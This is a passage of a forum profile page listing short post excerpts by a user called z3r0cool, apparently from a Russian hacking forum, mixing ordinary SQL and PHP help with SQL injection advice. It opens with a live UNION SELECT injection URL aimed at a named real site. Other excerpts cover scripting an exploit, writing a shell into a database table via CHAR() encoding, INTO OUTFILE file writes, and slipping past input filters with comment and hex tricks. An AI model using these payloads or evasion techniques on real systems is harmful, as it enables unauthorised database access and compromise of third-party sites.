Recent Content by z3r0cool

http://www.shu.ru/index.php?id=27/**/UNION/**/SELECT/**/null,null,CAST(version()/**/AS/**/text),null,null,null--

попробуй автоматизировать, можно набросать скрипт-эксплоит на той же перловке. если я правильно понял, у тебя нет желания париться с ручным...

INSERT into dbo..shell (code) values (CHAR(65)+CHAR(67)....) в ASCII переведи, если при конкатенации знаком "+" возникнут проблемы, то можно...

просто tor4) закатал username в хекс, что собственно эквивалентно SELECT 'username' :D, поэтому вместо содержимого столбца username, выводится...

`username` - а так?

паузы: ctrl+c, вырубишь, при повторном запуске она восстановит сессию, если захочешь (типа спросит хочешь восстановить, или нет, если нет нажми...

запускай без ключа /к, зайди просто в cmd, и вбей эту строку. практически это будет одно и тоже, но попробуй.

что пишет то? я тестил на этой сборке: http://forum.antichat.ru/showpost.php?p=452211&postcount=6 все работает.

пробел в username убери ;)

http[s]-{head|get} specifies the page to authentication at (REQUIRED) Value can be "/secret" or...

Вот так! SELECT * FROM fruits AS f1 JOIN fruits AS f2 ON f2.name > f1.name ORDER BY f1.name

Использовать представления (VIEW), хранимые функции...? Собственно эти объекты и предназначены для решения проблем такого рода.

INTO OUTFILE вроде никто не отменял? :) Кидай если что линк в личку, посмотрим.

http://ru2.php.net/manual/en/function.array-count-values.php

Никак видимо, проверка длины параметра sstring, максимальная длина = 12 символов : хотя и пропускает = (', /**/, спец символы);